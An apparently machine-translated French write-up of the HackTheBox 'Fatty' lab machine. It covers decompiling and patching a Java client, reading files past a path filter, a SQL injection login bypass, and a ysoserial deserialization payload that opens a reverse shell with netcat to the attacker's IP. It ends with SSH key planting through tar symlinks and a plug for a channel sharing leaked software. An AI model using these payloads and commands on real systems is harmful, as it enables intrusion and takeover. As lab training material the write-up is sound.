HackTheBox. Procédure pas à pas Fatty. Inversez et recompilez une application client-serveur. Désérialisation Java

Je continue à publier des solutions envoyées pour la finalisation des machines depuis la plateforme HackTheBox .



Dans cet article, nous inverserons deux applications Java, lors de la modification et de la recompilation du client, pour exploiter l'injection SQL lors de l'autorisation et exécuter des commandes sur le serveur en raison d'une vulnérabilité dans la désérialisation d'un objet Java.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.

Reconnaître

Cette machine a une adresse IP de 10.10.10.174, que j'ajoute à / etc / hosts.

10.10.10.174 	fatty.htb

La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500

Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.

nmap -A fatty.htb -p21,22,1337,1338,1339

À partir du scan nmap, nous voyons qu'une connexion ftp anonyme est possible, alors qu'elle contient plusieurs notes et un fichier jar. Téléchargez tout ce qui est là.

wget ftp://fatty.htb/*

La première note indique que le serveur fonctionne sur les ports 1337, 1338 et 1339 et que le port 8000 est toujours dans le client et doit être corrigé.







Le deuxième article parle de la disposition statique des éléments sur le formulaire client et du fait que le client fonctionne avec Java 8.





La troisième note indique qu'il y a des problèmes de sécurité et des informations d'identification fournies.







Commençons le client.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar

Décompilons le client. J'utilise Intellij IDEA, j'ai donc installé l'extension java decompiler. Décompressez simplement le fichier jar et spécifiez le répertoire comme répertoire du projet. Dans le fichier beans.xml, nous trouvons les paramètres de connexion.





Jetons le port local 8000 au 1337 distant.

simpleproxy -L 8000 -R fatty.htb:1337

Dans ce cas, nous allons créer une entrée dans / etc / hosts.

127.0.0.1       server.fatty.htb

De cette façon, tout le trafic client sera redirigé vers l'hôte distant. Nous commençons et nous nous connectons.







Jetons un coup d'œil autour de l'application. De tout cela, vous devriez vous arrêter à la fonction d'obtenir une liste de fichiers et de lire des fichiers.











Mais lorsque nous essayons de lire d'autres fichiers, nous obtenons des erreurs.







La seule question est de savoir où se trouve le filtre. Anticipant le besoin de patcher le code, décompilez l'application dans jd-gui et enregistrez.







Après la décompression, ouvrez le dossier en tant que projet dans Intellij IDEA.

Recompilation Java

Nous recompilerons l'application (cette méthode fonctionne également pour les applications obscurcies). Passons maintenant à la configuration de l'environnement. Allez dans Fichier-> Structure du projet et Paramètres du projet définissez les paramètres suivants: Version du SDK - java8 et le répertoire dans lequel les fichiers compilés seront enregistrés.





Ensuite, allez dans les modules du projet et dans Sources sélectionnez les répertoires qui nous intéressent, qui contiennent le code principal.





Et dans Dépendances, ajoutez le fichier jar de l'application lui-même.





Comme vous pouvez le voir, celui a disparu à côté de l'élément Problèmes. Passez. Ajouter une application pour exécuter / déboguer les configurations.







Et nous allons spécifier la classe Starter comme classe Main, puisque le programme démarre à partir de celle-ci.







Tout est prêt. Accédez maintenant à la classe Invoke et définissez un point d'arrêt dans la fonction de liste de fichiers pour changer de répertoire.





Maintenant, nous commençons le débogage et nous nous arrêtons à ce stade.





Et modifiez la valeur de la variable de dossier.









Et ça a marché. Nous voyons une liste de fichiers. Découvrons ce qu'il y a dans le fichier start.sh. Pour ce faire, nous allons trouver la fonction de lecture du fichier et y définir un point d'arrêt.





Ouvrons ce fichier dans l'annexe et arrêtons-nous à ce stade.





Et changez la valeur de la variable nom de dossier.









Et nous avons lu avec succès ce fichier.





Ainsi, cette application s'exécute pour le compte de l'utilisateur système qtc. Pour obtenir l'application, vous devez changer le code. Ajoutons une fonction pour écrire dans un fichier, obtenons la réponse en octets, encodons-la en base64 et passons cette chaîne à cette fonction.





Demandons un fichier via l'application, arrêtons-nous à un point d'arrêt et modifions le chemin.





Et le fichier a été enregistré avec succès.

cat srv.b64 | base64 -d > fatty-server.jar

Serveur pwning

Ouvrez l'application serveur dans jd-gui. Après avoir regardé un peu le code, nous recueillons des informations très utiles. Par exemple, les données de connexion à la base de données.





Et aussi une demande à la base de données lors de l'autorisation.





Ainsi, un utilisateur est créé pour l'application, sur la base des données qui seront renvoyées de la base de données.







Ainsi, nous pouvons faire une telle demande afin que le qtc connu de nous soit créé, mais déjà avec des droits d'administrateur. Nous connaissons son nom d'utilisateur et son mot de passe, mais le hachage devra être renvoyé de la base de données. Calculons-le:





Nous devons exécuter une requête comme celle-ci:

SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'

Pour ce faire, lors du débogage de l'application, nous nous arrêterons à la fonction de connexion.





Et changez le nom d'utilisateur variable.

qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin

Après une autorisation réussie, nous verrons nos droits, nous travaillons en tant qu'administrateur.







Afin de ne rien changer pendant le débogage, mais pour obtenir en permanence un accès administratif, même avec des champs vides, nous allons changer la fonction de connexion.







Maintenant que nous avons compris comment augmenter nos droits, jetons un coup d'œil aux nouvelles fonctions disponibles et décidons du vecteur d'attaque supplémentaire. Et dans le code serveur, nous nous accrochons à l'utilisation de la sérialisation dans la fonction de changement de mot de passe.







Trouvons cette fonctionnalité dans l'application cliente.







Ainsi, l'objet User est sérialisé, encodé en base64 et transmis au serveur où il est décodé et désérialisé. Le nom de la fonction étant grisé, il n'est utilisé nulle part. Vous pouvez le vérifier en essayant de changer le mot de passe.







Mettons un point d'arrêt dans la fonction de changement de mot de passe, avant d'ajouter l'objet sérialisé comme argument.







Trouvons le code qui est exécuté lorsque vous cliquez sur le bouton Modifier.







Ajoutons l'appel de fonction.







Pour exploiter une vulnérabilité dans la désérialisation des données, vous pouvez utiliser ysoserial . Tout d'abord, définissons un module.

grep -R Invoke .

Ainsi, nous utiliserons CommonsCollections.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0

Et nous insérerons la charge reçue dans le code modifié de la fonction de changement de mot de passe.







Après avoir exécuté l'application, nous obtenons un backconnect.

RACINE

Chargez l'un des scripts d'énumération système, par exemple linpeas. Nous ne trouvons rien d'intéressant, sauf que nous sommes dans un conteneur docker.







Puisque nous n'avons rien trouvé de statique, commençons pspy et suivons les processus en cours. Mais après avoir attendu un peu de temps, rien d'intéressant ne s'est produit. Ensuite, j'ai lancé le processus en démarrant l'application cliente et en la fermant. Après avoir fermé l'application, la commande scp a été exécutée.







Ainsi, l'archive avec les logs est copiée. Je peux supposer qu'il est également déballé. Connectons ensemble, téléchargeons, créons et conditionnons un lien vers un fichier avec des clés ssh.







Vérifions l'archive.







Excellent. Maintenant, ouvrons l'application, connectons-nous, modifions les journaux et fermons l'application.

mv my.tar /opt/fatty/tar/logs.tar

Maintenant, si vous répétez quelque chose comme ceci, le contenu du fichier sera écrit dans authorised_keys. Par conséquent, nous générons une paire de clés à l'aide de ssh-keygen, refaites le tour avec l'application et en écrivons une publique au lieu d'une archive.







Nous pouvons maintenant nous connecter via SSH avec une clé privée.







Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.